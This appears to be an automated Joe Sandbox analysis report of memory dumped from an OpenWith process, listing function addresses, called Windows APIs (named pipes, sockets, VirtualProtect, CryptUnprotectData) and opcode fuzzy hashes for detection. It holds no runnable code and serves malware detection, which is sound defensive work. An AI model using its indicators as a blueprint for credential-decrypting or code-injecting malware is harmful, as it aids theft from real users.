API ID: AcceptConnectPort$ExceptionHandlerMitigationPolicyProcessVectored
String ID:
API String ID: 1453854198-0
Opcode ID: d10bc7eecf76d0dca438e32bd9e6ca23ea1b11bfffb6ce02bc94d4770511dc9b
Instruction ID: 0dab5768b32933ef1db7faa99b4e01f09d1ef63df5b69dec8928ddd382f76174
Opcode Fuzzy Hash: d10bc7eecf76d0dca438e32bd9e6ca23ea1b11bfffb6ce02bc94d4770511dc9b
Instruction Fuzzy Hash: FE41DF30208B498FDB44DF2C88C97957BD1EB99320F4443AEEC5ACB2D7DA74D9098795

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EDF83C Relevance: 4.6, APIs: 3, Instructions: 110pipeCOMMON

Download Yara Rule

APIs

CreateNamedPipeW.KERNELBASE ref: 00007DF486EDF8F3
BindIoCompletionCallback.KERNEL32 ref: 00007DF486EDF92A
ConnectNamedPipe.KERNELBASE ref: 00007DF486EDF93B

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: NamedPipe$BindCallbackCompletionConnectCreate
String ID:
API String ID: 2502124517-0
Opcode ID: 9f21c1481329a0ea06529805dac4bd9f865f37b17101e2c3294277e11989e67f
Instruction ID: f599883a25db88911b1b4a18aae3d340e52f61901d16a0e9c33b1137ed7160b7
Opcode Fuzzy Hash: 9f21c1481329a0ea06529805dac4bd9f865f37b17101e2c3294277e11989e67f
Instruction Fuzzy Hash: BF319330618A498FE794DF68D8987AA77E1FB98320F50463AE45BC31D0DF38D945C782

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EEA600 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

0, xrefs: 00007DF486EEA65F

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: cde0ffe81ef901ac1f3e20277e9996c873e54bf14cb1d3d6ec20e7420b01d3b2
Instruction ID: c752573e9742f8983b3f58c0d8152de4de26fc74b9ead7dbf974aa3c0775a0c0
Opcode Fuzzy Hash: cde0ffe81ef901ac1f3e20277e9996c873e54bf14cb1d3d6ec20e7420b01d3b2
Instruction Fuzzy Hash: 6F215371F2CA894FD7A0AE5C848476A76E1FB99321F90063FE54AC3290D6689C458781

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EEA540 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

0, xrefs: 00007DF486EEA598

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 8470fbff762e3531a12c1b2b11e56c88662d32310fb2e529b80da0b8d4828605
Instruction ID: 570c15dd6c3c45f7a10bafba0605da2977ef99a57c1ecc2d6a43a185c733a9bd
Opcode Fuzzy Hash: 8470fbff762e3531a12c1b2b11e56c88662d32310fb2e529b80da0b8d4828605
Instruction Fuzzy Hash: 9A215E31F089884FE7A0AA9C98C867F76E5FB98361F90053FE54FC3650DA789D898741

Uniqueness

Uniqueness Score: -1.00%

Function 000002427BB70AC8 Relevance: 3.2, APIs: 2, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL ref: 000002427BB70BFD
NtAcceptConnectPort.NTDLL ref: 000002427BB70C47

Memory Dump Source

Source File: 00000002.00000002.2028636190.000002427BB70000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002427BB70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2427bb70000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 82f3aeb1d2454658223fb6d5b21d23051085e6a8eeabdc877af9343281df37cc
Instruction ID: f912fb28550ec0f3fafd5d6553bc1579d1b63e04fadcaa8ac4b7fc29436209db
Opcode Fuzzy Hash: 82f3aeb1d2454658223fb6d5b21d23051085e6a8eeabdc877af9343281df37cc
Instruction Fuzzy Hash: FF4129309189154AE328A62A8C8A73DBFD2F7C530DFB0555FFCD6C2592D939C74B8641

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486F114B8 Relevance: 3.1, APIs: 2, Instructions: 93networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(?,?,?,?,?,?,?,?,0000006B,0000006A,-00000002,00007DF486F115D9), ref: 00007DF486F114E5

Part of subcall function 00007DF486F110C8: ioctlsocket.WS2_32 ref: 00007DF486F110F4

bind.WS2_32(?,?,?,?,?,?,?,?,0000006B,0000006A,-00000002,00007DF486F115D9), ref: 00007DF486F1156A

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: bindioctlsocketsocket
String ID:
API String ID: 3555158474-0
Opcode ID: 440c2b03f282fdf09c5109c91abd02df385d83f8f207c58bd0edf43ea5c54b23
Instruction ID: 4f4817d0479e2ddfe03e4cb48c55ad26952ae335b3539e39d8cdaa2c34574b43
Opcode Fuzzy Hash: 440c2b03f282fdf09c5109c91abd02df385d83f8f207c58bd0edf43ea5c54b23
Instruction Fuzzy Hash: 5621F6307189484FEB98EB78988826633E1FB55375F50027AE92FC72D1EB38DC418A51

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EEB154 Relevance: 3.1, APIs: 2, Instructions: 78nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF486EEB1C1
NtAcceptConnectPort.NTDLL ref: 00007DF486EEB215

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: bb3a5d325b70b3c5869b9374de40748949ecffae94d84d132abe14aae408c96c
Instruction ID: e345825303edfddd51476b0b6427d044c29c5d2a76ec9472130ec020ef98043d
Opcode Fuzzy Hash: bb3a5d325b70b3c5869b9374de40748949ecffae94d84d132abe14aae408c96c
Instruction Fuzzy Hash: B221F130558A488FDB84EB58D894B6677F1FBA9301F00462EE58AC36B0DBB5E944CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EEB088 Relevance: 3.1, APIs: 2, Instructions: 78nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF486EEB0F5
NtAcceptConnectPort.NTDLL ref: 00007DF486EEB14C

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 4a10f73cb9c6438758193fa1af4c389c91f2a938f8d24df1736836a91db41c6d
Instruction ID: ad1a882412f9f9bf3562df2a0f4cb69c2156b129eb3f0f5c24fbdbd9e3c6d86f
Opcode Fuzzy Hash: 4a10f73cb9c6438758193fa1af4c389c91f2a938f8d24df1736836a91db41c6d
Instruction Fuzzy Hash: A921543061CA488FDB44EF58D845B6673F1FBA9311F00462EE48AC72A0DBB4E944CF81

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EF7318 Relevance: 2.1, APIs: 1, Instructions: 552COMMON

Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT ref: 00007DF486EF78E7

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: a6cd968419861a7b3701a0482a786f473b659c91568256b817c3ad8d95c3c928
Instruction ID: 6ba67cd1d0188e286b92017a2454abbfa7852adaf85962ff57e4e11d3065d5f6
Opcode Fuzzy Hash: a6cd968419861a7b3701a0482a786f473b659c91568256b817c3ad8d95c3c928
Instruction Fuzzy Hash: DA02603161CE884BEB95EB18D885AABB3E1FF94310F80456EE54FC3195DE34ED458782

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486F121BC Relevance: 1.8, APIs: 1, Instructions: 281networkCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32 ref: 00007DF486F12322

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: Recv
String ID:
API String ID: 4192927123-0
Opcode ID: c4c57ca064fec79989649ddb6862af836f57c300bd75a5ec3f98270fb5e76cde
Instruction ID: 5e45b1e3c497fbb878333bf89d7432ff98c1feb24c1b09ad7ba521f8a33a8aa7
Opcode Fuzzy Hash: c4c57ca064fec79989649ddb6862af836f57c300bd75a5ec3f98270fb5e76cde
Instruction Fuzzy Hash: 10A1B630A18A898FE7D9DB5884866A6B3F0FF553B4F90012AD55FC2591F738EC918F81

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EEA2B0 Relevance: 1.8, APIs: 1, Instructions: 260nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF486EEA370

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 27f7c3ed38e874930e62f200bc0de066e796f05f1e534954138da2be9822abc3
Instruction ID: 7a0a4413d8978b69034ec0ffa99224eb8fecfcf0a6c8923278894de3e09af81b
Opcode Fuzzy Hash: 27f7c3ed38e874930e62f200bc0de066e796f05f1e534954138da2be9822abc3
Instruction Fuzzy Hash: AD816630D1CB898BE7B59A5C948867FB3E1FF94350F90462FE44BC7190EA68EC458741

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EE9F40 Relevance: 1.6, APIs: 1, Instructions: 121nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF486EE9FBB

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 2b01fbad4d4e0569ef46bd7dcad2a47669287f66da831324c994fd011c0ec06d
Instruction ID: b26699222d4ae77718011eab216443e45cc97600978ebf14d4d7f5cd78bf19e3
Opcode Fuzzy Hash: 2b01fbad4d4e0569ef46bd7dcad2a47669287f66da831324c994fd011c0ec06d
Instruction Fuzzy Hash: 0331C731B0CA494FE7A85E5C988557A33E5EB59331F60463EE94FC3292E929BC028681

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EDFF7C Relevance: 1.6, APIs: 1, Instructions: 114encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32 ref: 00007DF486EE0005

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: a8ceccc7c3b42bea472bb160e78439ad2ed528e95685be1738a7c7424a046da7
Instruction ID: acfa770a3daf710a3c8a11e90bccc298c2d8180779091c20704cf265936c86f7
Opcode Fuzzy Hash: a8ceccc7c3b42bea472bb160e78439ad2ed528e95685be1738a7c7424a046da7
Instruction Fuzzy Hash: CB31723071CA484FE788EB68D84967AB7E1FB89351F40452EE54BC3291EE78DC418752

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EE8E20 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

GetLogicalDriveStringsW.KERNELBASE ref: 00007DF486EE8E72

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: DriveLogicalStrings
String ID:
API String ID: 2022863570-0
Opcode ID: 96d4bccc55a322f8c5c27047067bd6e78efec68c6d2ad20cad7b4eab26150e85
Instruction ID: ada20ae02c0b19c4b0529279879d273540d7ab2e7b0410177782aa30b1bff493
Opcode Fuzzy Hash: 96d4bccc55a322f8c5c27047067bd6e78efec68c6d2ad20cad7b4eab26150e85
Instruction Fuzzy Hash: B2319031918A888BEBA0DB14D8946B773F2FF94310F80452BE88AC7190EB7DDD44C792

Uniqueness

Uniqueness Score: -1.00%

Function 000002427BB715AC Relevance: 1.6, APIs: 1, Instructions: 76
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL(?,?,?,?,?,?,?,?,00000000,000002427BB71E16), ref: 000002427BB71640

Memory Dump Source

Source File: 00000002.00000002.2028636190.000002427BB70000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002427BB70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2427bb70000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 835a411c94ef729b3118f684f14c42465dca72cdcacd8c0bc7bbe2bb8e6fff18
Instruction ID: a4a6654779b36875b5d33f157ec45ca0a9bf20bcdc2b9c7a050adddcc6437963
Opcode Fuzzy Hash: 835a411c94ef729b3118f684f14c42465dca72cdcacd8c0bc7bbe2bb8e6fff18
Instruction Fuzzy Hash: 20215E71508B098FDB58DF58C489A6AFBE5FBA8309F440A2FF84AC7660D730D584CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EE8C08 Relevance: 1.5, APIs: 1, Instructions: 34nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF486EE8C57

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 69ae87b658735349c63cb263c91b486edbc403e9935b0c4573bbe27b5e633224
Instruction ID: 728c70c46ab7614c23254bd924957e1ace754254a5ee51606370fc304737d906
Opcode Fuzzy Hash: 69ae87b658735349c63cb263c91b486edbc403e9935b0c4573bbe27b5e633224
Instruction Fuzzy Hash: 0AF0BD30A1CB848FDBA4EB2CD485B5A77E0FB99710F90451AE44CC7245DB3498408B86

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EE8A40 Relevance: 1.5, APIs: 1, Instructions: 34nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF486EE8AA4

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 89cd4ab345dceba4e6838d8713e086a2de13f743721c8352f444b7a2b322383a
Instruction ID: 32982693a13959959b2ecb4300ac4d442c6bc4e5d4043a72eb7ec1bbc5786e17
Opcode Fuzzy Hash: 89cd4ab345dceba4e6838d8713e086a2de13f743721c8352f444b7a2b322383a
Instruction Fuzzy Hash: A6F0623495C7C48FD7A0EB288480B5ABBF1FB9A354F94495DE4CCC3251D73494858B43

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EE8D94 Relevance: 1.5, APIs: 1, Instructions: 29nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL(?,?,?,?,?,?,00000000,?,?,00000000,00007DF486ED220C), ref: 00007DF486EE8DBE

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 90d86ff9c1e45aa3ed72609050e60067f34580a971d45073cfca8314096fabd0
Instruction ID: f846a71b6f33984e03a92c754091fa860036f1373c3c6cdbf342b2875f2883cb
Opcode Fuzzy Hash: 90d86ff9c1e45aa3ed72609050e60067f34580a971d45073cfca8314096fabd0
Instruction Fuzzy Hash: A5E09B356086448FDB00DF98CCC186AB7F4EBD4314F800D3BE84BCA164D664D948CA52

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486F47344 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?,00007DF486F58C07,?,?,?,?,00000000,00000000), ref: 00007DF486F47361

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: d5a7f866afa65459f197dada8cd8f2dc6bf23d315f68f71e19f7445dc10f9d53
Instruction ID: f364cde26621289c0802989efd03adfd257cd101b5dbc6b7987812100b599d70
Opcode Fuzzy Hash: d5a7f866afa65459f197dada8cd8f2dc6bf23d315f68f71e19f7445dc10f9d53
Instruction Fuzzy Hash: DBE04F31A158584AF349F730EC965E33321EBA4310FC45623D907C15A6FE3CAA8DCB82

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EE8C90 Relevance: 1.5, APIs: 1, Instructions: 18nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF486EE8CAB

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: d7f11550b64fe24df7d887543e07d0b6f7dff11bcf48c6b7495f6615248458b8
Instruction ID: 12b233bba998272c971357ad40c17937d398836f507c6f2758efe555c299370c
Opcode Fuzzy Hash: d7f11550b64fe24df7d887543e07d0b6f7dff11bcf48c6b7495f6615248458b8
Instruction Fuzzy Hash: 3AD05E30E2CB894BDA90A728884061636E1FBD9314FD04754D44AC7204E22CE84082C3

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EE8D74 Relevance: 1.5, APIs: 1, Instructions: 13nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF486EE8D84

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: ab2e37fa809895208040806298a2c2dead7b6d063d4717351e1d74892a555cc3
Instruction ID: 0f752c1619795f97add8465296b2880473a547475c155ba51f707e1bb572574e
Opcode Fuzzy Hash: ab2e37fa809895208040806298a2c2dead7b6d063d4717351e1d74892a555cc3
Instruction Fuzzy Hash: C4C08C04E1880A0AE98072AE4D8032620E8EBE8320FC80012940EC6180E41CE8904792

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EE8AFC Relevance: 1.5, APIs: 1, Instructions: 13nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 00007DF486EE8B0C

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 2e7cca07a0f103a45b23901324486b8ac0a6e280eee8be16fb8f69fcdb4ab649
Instruction ID: 36d0300172e7ccf12e2c622cc0202dcc4c9e8954d178236e17986d11d60465ac
Opcode Fuzzy Hash: 2e7cca07a0f103a45b23901324486b8ac0a6e280eee8be16fb8f69fcdb4ab649
Instruction Fuzzy Hash: 39C08C44F1D84A1AE98062AA4C8022720E0FB48360FC40421D40ACA184E90CE8C04392

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486ED4EE8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00007DF486ED4F48
VirtualProtect.KERNELBASE ref: 00007DF486ED4F71
VirtualProtect.KERNELBASE ref: 00007DF486ED4F8D
VirtualProtect.KERNELBASE ref: 00007DF486ED4FB8

Strings

rE\, xrefs: 00007DF486ED4F06

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: ProtectVirtual
String ID: rE\
API String ID: 544645111-988334199
Opcode ID: dad0ceb36d93f336d009a6519c6099e5a7208cb48d97b2cc31c542dde7e3d245
Instruction ID: 02a02a7616d8feaab56e91d462c486f068baeb7a1d5fe8f6f54025c7ec514d0b
Opcode Fuzzy Hash: dad0ceb36d93f336d009a6519c6099e5a7208cb48d97b2cc31c542dde7e3d245
Instruction Fuzzy Hash: 5D21A1317189484FEB84E72C98D16BA72E6EBD8710F500039E54FC3285DD28ED058382

Uniqueness

Uniqueness Score: -1.00%

Function 000002427BCD33B0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 344memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 000002427BCD3527
RtlAllocateHeap.NTDLL ref: 000002427BCD367A
RtlDeleteBoundaryDescriptor.NTDLL ref: 000002427BCD36F9

Strings

l, xrefs: 000002427BCD33D6

Memory Dump Source

Source File: 00000002.00000003.1803813855.000002427BCD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002427BCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_2427bcd0000_OpenWith.jbxd

Similarity

API ID: AllocateHeap$BoundaryDeleteDescriptor
String ID: l
API String ID: 2279964584-2517025534
Opcode ID: 945787e355e9cefb289f3126088299a2a592093c218b6f331fdd883cb8990c47
Instruction ID: 87c49288f9ad4b5ff36d813e3d906ed9ca2b0dce05cb98cf3d89a83d84736fff
Opcode Fuzzy Hash: 945787e355e9cefb289f3126088299a2a592093c218b6f331fdd883cb8990c47
Instruction Fuzzy Hash: 91A148355186588FD7299A2A88896BABFD1FFC4308F50466EF4EBC3183DD34D90BC681

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486ED1F68 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00007DF486ED1FEA
VirtualProtect.KERNELBASE ref: 00007DF486ED2014

Strings

, xrefs: 00007DF486ED1FCB

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: e7e536793b46bbdf8757706278a080a854535d6fca16d5cb7745ca510e895c5d
Instruction ID: ea2d3a8879a143990051c1d45aea0f6c53e74f990cb7ba88844c428bb547a78b
Opcode Fuzzy Hash: e7e536793b46bbdf8757706278a080a854535d6fca16d5cb7745ca510e895c5d
Instruction Fuzzy Hash: 3D11063160889A4BE755AB1DD8A56F673E1FF80320FA4426AE55BC71D0DA2CEC52C781

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EC39D4 Relevance: 4.6, APIs: 3, Instructions: 126COMMON

Download Yara Rule

APIs

_malloc_dbg.MSVCRT ref: 00007DF486EC39FD
_malloc_dbg.MSVCRT ref: 00007DF486EC3A5C
??3@YAXPEAX@Z.MSVCRT ref: 00007DF486EC3AC0

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: _malloc_dbg$??3@
String ID:
API String ID: 2216462316-0
Opcode ID: c7d75cb5367958d73e9615a6bc6f349406efcf48a859619531f8c598722d50c9
Instruction ID: 140c41c1c4761edcafa034ada1c1a77eb9055d160cc9d53cd55d1e61afcaf4c8
Opcode Fuzzy Hash: c7d75cb5367958d73e9615a6bc6f349406efcf48a859619531f8c598722d50c9
Instruction Fuzzy Hash: 6931B530618A495FEB98EF24D8499B6B3F5FF94322740422AD81BC3591EF64FC6187C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486F110C8 Relevance: 4.6, APIs: 3, Instructions: 117COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007DF486F110F4
CreateIoCompletionPort.KERNELBASE ref: 00007DF486F1112A
SetFileCompletionNotificationModes.KERNEL32 ref: 00007DF486F11170

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: Completion$CreateFileModesNotificationPortioctlsocket
String ID:
API String ID: 1455841399-0
Opcode ID: ea0de95ab8d492ab321edf1cf0b460d03c03f83aa0a5be87d8e0918c001e10b9
Instruction ID: 65252646d1a53558c0c2cc0f5a0ab3087069b6ee39127e9469531841cab0e5a6
Opcode Fuzzy Hash: ea0de95ab8d492ab321edf1cf0b460d03c03f83aa0a5be87d8e0918c001e10b9
Instruction Fuzzy Hash: 8031DF3070859C4BFBE5D628988527A72FDFF653A4FD0007AF90FD2182FA29DC418A91

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EC3564 Relevance: 3.2, APIs: 2, Instructions: 242COMMON

Download Yara Rule

APIs

_malloc_dbg.MSVCRT ref: 00007DF486EC373C
??3@YAXPEAX@Z.MSVCRT ref: 00007DF486EC37E3

Part of subcall function 00007DF486EC3410: _malloc_dbg.MSVCRT ref: 00007DF486EC34DF

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: _malloc_dbg$??3@
String ID:
API String ID: 2216462316-0
Opcode ID: ac8e64687a13b889e1874be42d2c3ca0f1a614677750a284a612a131824c467f
Instruction ID: 10d66137e570d2efe38cf1d0b31d916baea42391b09f95d6c29fc1632461ef1e
Opcode Fuzzy Hash: ac8e64687a13b889e1874be42d2c3ca0f1a614677750a284a612a131824c467f
Instruction Fuzzy Hash: D371B731A1C9884AE369B61898966FF73E1FF85311F90456FE18FC21C3ED38AD459682

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486ED707C Relevance: 3.2, APIs: 2, Instructions: 212fileCOMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNELBASE ref: 00007DF486ED7183
MapViewOfFile.KERNELBASE ref: 00007DF486ED71A8

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: File$CreateMappingView
String ID:
API String ID: 3452162329-0
